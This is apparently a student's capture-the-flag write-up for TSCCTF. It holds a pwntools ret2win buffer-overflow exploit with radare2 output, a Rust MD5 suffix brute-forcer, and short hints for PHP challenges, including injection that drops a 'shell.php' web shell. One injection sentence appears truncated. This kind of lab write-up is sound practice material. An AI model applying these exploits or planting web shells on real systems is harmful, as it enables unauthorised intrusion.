kreya-mdoj-login

My first writeup(TSCCTF)

#tscctf#nckuctf#writeup

Eason

Introduction

This is a writeup for TSCCTF.

Welcome

Just find flags on https://www.facebook.com/profile.php?id=61552584062920, combine all of it.

TSC{F0R_TSCCTF_(1/3)
F0LL0VV3RS_f0rrn3d_(2/3)
6y_PU6L1C1TY_T34M}(3/3)

ret2win

Install radare2, download the executable binary, then start analysis ret2win

❯ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5c0a4c0f088a7dc22ac848695376f93389e0a5ac, for GNU/Linux 3.2.0, not stripped
❯ r2 ret2win
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
 -- Switch between print modes using the 'p' and 'P' keys in visual mode
[0x004010b0]> aaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
...
[0x004010b0]> afl
...
0x00401196    1     33 sym.win
0x004011b7    1    108 main

radare2 image

As you can see, it's a LP64 binary and there are only one slice on the stack(0x20 bytes), therefore, we wrote 32 random bytes first, and write the address of function we want to call.

from pwn import *

p = remote("172.31.210.1",50001);
# p = process("./ret2win");

p.send((chr(0)*40).encode());
p.sendline(p64(0x00401196));

p.interactive();

CCcollision

The source code is provided

# ...
prefix = get_random_string(5) # generate random prefix
hashed = md5(get_random_string(30).encode()).hexdigest() # generate random hashed digest
# ...
user_input = input("Enter the string that you want to hash: ")
user_hash = md5(user_input.encode()).hexdigest()

if user_input[:5] == prefix and user_hash[-6:] == hashed[-6:]:
    print(FLAG)

Basically, the challenge want us to somehow get a value satisfied the condition, so I write an reasonably fast code to generate.

use std::{
    io::Write,
    ops::Deref,
    process,
    sync::Arc,
    thread::{self, sleep},
    time::Duration,
};

static DICT: &str = "abcdefghijklmnopqrstuvwxyz0123456789";

fn input(msg: &'static str) -> String {
    let mut res = String::new();
    print!("{}", msg);
    std::io::stdout().flush().unwrap();
    std::io::stdin().read_line(&mut res).unwrap();
    res.strip_suffix("\n").unwrap().to_owned()
}

fn main() {
    let prefix = input("Enter prefix: ");
    let prefix = prefix.as_bytes().to_vec();

    let suffix = input("Enter suffix: ");
    let suffix = hex::decode(suffix).unwrap();
    let suffix = &suffix;

    println!("running...\n");

    let queue = crossbeam::queue::SegQueue::new();
    let queue = &queue;

    let prefix = Arc::new(prefix);

    for item in DICT.as_bytes() {
        queue.push((prefix.clone(), *item));
    }
    thread::scope(|s| {
        for _ in 0..16 {
            s.spawn(|| loop {
                match queue.pop() {
                    Some(prefix) => {
                        let (prefix, end) = prefix;
                        let mut prefix = prefix.deref().clone();
                        prefix.push(end);
                        for item in DICT.as_bytes() {
                            prefix.push(*item);
                            let digest = md5::compute(&prefix);
                            if digest.ends_with(suffix) {
                                println!("{}", String::from_utf8_lossy(&prefix));
                                process::exit(0);
                            }
                            prefix.pop().unwrap();
                        }
                        let prefix = Arc::new(prefix);

                        for item in DICT.as_bytes() {
                            queue.push((prefix.clone(), *item));
                        }
                    }
                    None => sleep(Duration::from_millis(2)),
                }
            });
        }
    });
}

Run and enter the constraint, you could get the value in 10 seconds.

極之番『漩渦』

This slide provide some useful infomation.

  • First stage: how to use 0e21565625624 and array in php 7
  • Second stage: $a = $b == $c in php is actually ($a = $b) == $c
  • Third stage: Path traversal
  • Fourth stage: PHP filter chain, find a generator on github to do the work for you

Palitan ng pera

By seeing code in action(run in docker and exec), I get the workflow of currency exchange application:

  1. User input type of currency and amount
  2. Server calculate amount($amount * $rate ?: $amount)
  3. server save file and give you a link

And you could easily inject $amount by inputing ```.

Finally, choose Philippines's currency to get file extension of .php, view your result to download shell.php.

My First Shopping Cart

Using proxy of your choice, manully buy a product with Code Flag, search for TSC{.*} in your proxy, and you would find the flag.